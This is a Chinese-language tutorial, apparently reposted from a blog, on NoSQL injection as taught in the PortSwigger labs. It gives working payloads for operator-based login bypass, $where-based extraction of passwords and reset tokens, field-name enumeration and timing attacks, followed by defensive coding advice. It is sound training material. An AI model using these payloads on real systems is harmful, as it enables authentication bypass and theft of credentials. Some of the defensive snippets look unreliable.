自学内容网 自学内容网

PortSwigger NoSQL 注入

一、什么是NoSQL?

 NoSQL(Not Only SQL)是一种非关系型数据库管理系统(Non-Relational Database Management System),它用于存储和检索非结构化或半结构化数据。与传统的关系型数据库(如 MySQL、PostgreSQL)不同,NoSQL 数据库不依赖于固定的表结构和 SQL 查询语言,而是采用更灵活的数据模型来适应现代应用的需求。

NoSQL 与传统关系型数据库的对比

特性NoSQL 数据库关系型数据库(SQL)
数据模型灵活(键值对、文档、列族、图)固定(表结构)
扩展性高(分布式架构)有限(通常垂直扩展)
性能高(适合高并发读写)中等(适合复杂查询)
一致性弱一致性或最终一致性强一致性
事务支持有限(部分支持简单事务)完善(支持 ACID 事务)
查询语言无标准化查询语言SQL(标准化查询语言)
适用场景大数据、高并发、半结构化数据结构化数据、复杂查询

二、什么是NoSQL注入?

NoSQL 注入危害

  • 绕过身份验证或保护机制。
  • 提取或编辑数据。
  • 导致拒绝服务。
  • 在服务器上执行代码。

NoSQL 注入的原理

NoSQL 注入的核心原理是:应用程序未对用户输入进行充分的验证和过滤,导致攻击者可以通过构造恶意输入来操纵 NoSQL 查询

与传统 SQL 注入不同,NoSQL 注入通常利用 NoSQL 数据库的查询语法(如 JSON、BSON)或 API 调用来实现攻击。

NoSQL 注入与传统 SQL 注入的对比

特性NoSQL 注入SQL 注入
目标数据库NoSQL 数据库(如 MongoDB)关系型数据库(如 MySQL)
注入方式利用 JSON、BSON 或 API 调用利用 SQL 语句拼接
攻击复杂度较高(需要了解 NoSQL 语法)较低(SQL 语法较为通用)
防御难度较高(NoSQL 查询灵活性高)较低(已有成熟的防御方法)

三、 NoSQL 语法注入

原理:打破 NoSQL 查询语法,注入自己的有效载荷。

1、确定要处理的字符

原理:通过转义引号确定注入点

this.category == '''
this.category == '\''

2、确认条件行为

原理:请发送两个请求,一个具有 false 条件,另一个具有 true 条件。表明注入这种语法样式会影响服务器端查询。

' && 0 && 'x

' && 1 && 'x

https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'x
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x

 3、覆盖现有条件

通过返回ture覆盖现有条件。例如,您可以注入一个计算结果始终为 true 的 JavaScript 条件,例如:

this.category == 'fizzy'||'1'=='1'

通过%00截断覆盖现有条件,例如,this.category == 'fizzy' && this.released == 1,使用&00截断让后续this.released == 1条件失效。

this.category == 'fizzy'\u0000' && this.released == 1

4、实验室- 检测 NoSQL 注入

?category=Gifts%27||%20%271%27==%271

四、NoSQL 运算符注入

1、NoSQL 运算符

NoSQL 数据库通常使用查询运算符,这些运算符提供了指定数据必须满足的条件才能包含在查询结果中的方法。MongoDB 查询运算符的示例包括:

  • $where 匹配满足 JavaScript 表达式的文档。
  • $ne  匹配所有不等于指定值的值。
  • $in 匹配数组中指定的所有值。
  • $regex 选择值与指定正则表达式匹配的文档。

2、提交查询运算符

在 JSON 消息中,您可以将查询运算符作为嵌套对象插入。例如:

{"username":"wiener"}变为{"username":{"$ne":"invalid"}}

或者

username=wiener 变为 username[$ne]=invalid

3、在 MongoDB 中检测运算符注入

应用程序在请求正文中接受用户名和密码:

{"username":"wiener","password":"peter"}

可以尝试以下注入:

{"username":{"$ne":"invalid"},"password":"peter"}
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}

最终可能导致返回所有 username 不为 "invalid" 且 password 为 "peter" 的用户记录:

db.users.find({ username: { "$ne": "invalid" }, password: "peter" });

4、实验室- 利用 NoSQL 运算符注入绕过身份验证

{"username":{"$regex":"adm*"},"password":{"$ne":"sss"}}

五、利用语法注入提取数据

        在某些 NoSQL 数据库(如 MongoDB)中,支持在查询中使用 JavaScript 代码(如 $where 操作符)。

        如果应用程序未对用户输入进行充分的验证和过滤,攻击者可以通过注入恶意 JavaScript 代码来执行未授权的操作。

1、提取敏感数据

例如:应用程序允许用户查找其他已注册的用户名并显示他们的角色。这会触发对 URL 的请求:

https://insecure-website.com/user/lookup?username=admin

 这将生成集合的以下 NoSQL 查询:

{"$where":"this.username == 'admin'"}

由于查询使用运算符,因此您可以尝试将 JavaScript 函数注入此查询。根据返回结果识别敏感信息。

admin' && this.password[0] == 'a' || 'a'=='b
admin' && this.password.match(/\d/) || 'a'=='b

2、标识字段名称

通过返回结果,判断MongoDB 数据库是否包含该字段(可使用常用变量进行暴力破解)

admin' && this.username!=' 
admin' && this.password!=' 

3、实验室- 利用 NoSQL 注入提取数据

通过暴力破解获取密码:

 通过Add from list 将a-z A-Z 0-9 加入表单

通过Length和Payload1 排序得到administrator密码 

{"username":"carlos","password":{"$ne":"in"},
"$where":"this.pwResetTkn.match('^.{§1§}§1§.*')"
}

六、利用 NoSQL 算子注入提取数据

即使原始查询没有使用任何允许您运行任意 JavaScript 的运算符,也可以自己注入其中一个运算符。然后使用布尔条件来确定应用程序是否执行 JavaScript。

1、通过附加$where运算符判断注入

例如:一个易受攻击的应用程序,它在请求正文中接受用户名和密码

{"username":"wiener","password":"peter"}

测试是否可以注入运算符,尝试将运算符添加为附加参数,然后发送一个条件计算结果为 false 的请求和另一个计算结果为 true 的请求。 如果响应之间存在差异,这可能表示存在利用。

{"username":"wiener","password":"peter", "$where":"0"}
{"username":"wiener","password":"peter", "$where":"1"}

2、提取字段名称

检查 user 对象中的第一个数据字段,并返回字段名称的第一个字符。这使您能够逐个字符提取字段名称。

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

3、使用运算符外漏数据

一个易受攻击的应用程序,该应用程序在请求正文中接受用户名和密码。

"$where":"this.xxxx.match('^.{0}a.*')"

4、实验室- 利用 NoSQL 算子注入提取未知字段

通过注入多余参数,确认字段名

{"username":"carlos","password":{"$ne":"sss"},
"$where":"Object.keys(this)[4].match('^.{§0§}§a§.*')"}

通过获取到的字段名获取token

{"username":"carlos","password":{"$ne":"sss"},
"$where":"this.xxxx.match('^.{§0§}§a§.*')"}

七、基于时序的注入

有时触发数据库错误不会导致应用程序的响应有所不同。在这种情况下,您仍然可以通过使用 JavaScript 注入来触发条件时间延迟来检测和利用漏洞。

执行基于时序的 NoSQL 注入:

1、多次加载页面以确定基准加载时间。

2、将基于 timing 的 payload 插入 input 中。

基于时序的有效负载在以下情况下会导致响应有意延迟 执行。例如,在成功进样时导致 5000 毫秒的有意延迟。{"$where": "sleep(5000)"}

例如确认密码第一个字母为 a :

admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

3、确定响应的加载速度是否较慢。

八、防止 NoSQL 注入

1、输入验证

对用户输入进行严格的验证,确保输入数据符合预期的格式和类型。

const username = req.body.username;
if (typeof username !== 'string' || !/^[a-zA-Z0-9]+$/.test(username)) {
  return res.status(400).send('Invalid username');
}

2、参数化查询

在 MongoDB 中,使用 $eq 操作符显式匹配值,而不是直接拼接用户输入。

db.collection.find({ username: { "$eq": req.body.username } });

3、禁用危险功能

禁用 NoSQL 数据库中的危险功能,如 JavaScript 执行(例如 MongoDB 的 $where 操作符)。

db.adminCommand({ setParameter: 1, disableJavaScript: true });

4、用白名单

对用户输入进行白名单验证,只允许特定的字符或格式。

const input = req.body.input;
if (!/^[a-zA-Z0-9_-]+$/.test(input)) {
  return res.status(400).send('Invalid input');
}

5、最小权限原则

为应用程序使用的数据库用户分配只读权限,避免修改或删除数据。

6、使用 ORM 或 ODM

使用对象关系映射(ORM)或对象文档映射(ODM)工具来操作数据库,避免手动拼接查询语句。

const User = mongoose.model('User', { username: String, password: String });
User.find({ username: req.body.username, password: req.body.password })
  .then(users => res.send(users))
  .catch(err => res.status(500).send('Database error'));

7、 编码和转义

对用户输入进行编码或转义,防止恶意输入被解释为查询操作符。

db.collection.find({ username: { "$literal": req.body.username } });


原文地址:https://blog.csdn.net/weixin_42451330/article/details/145183126

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!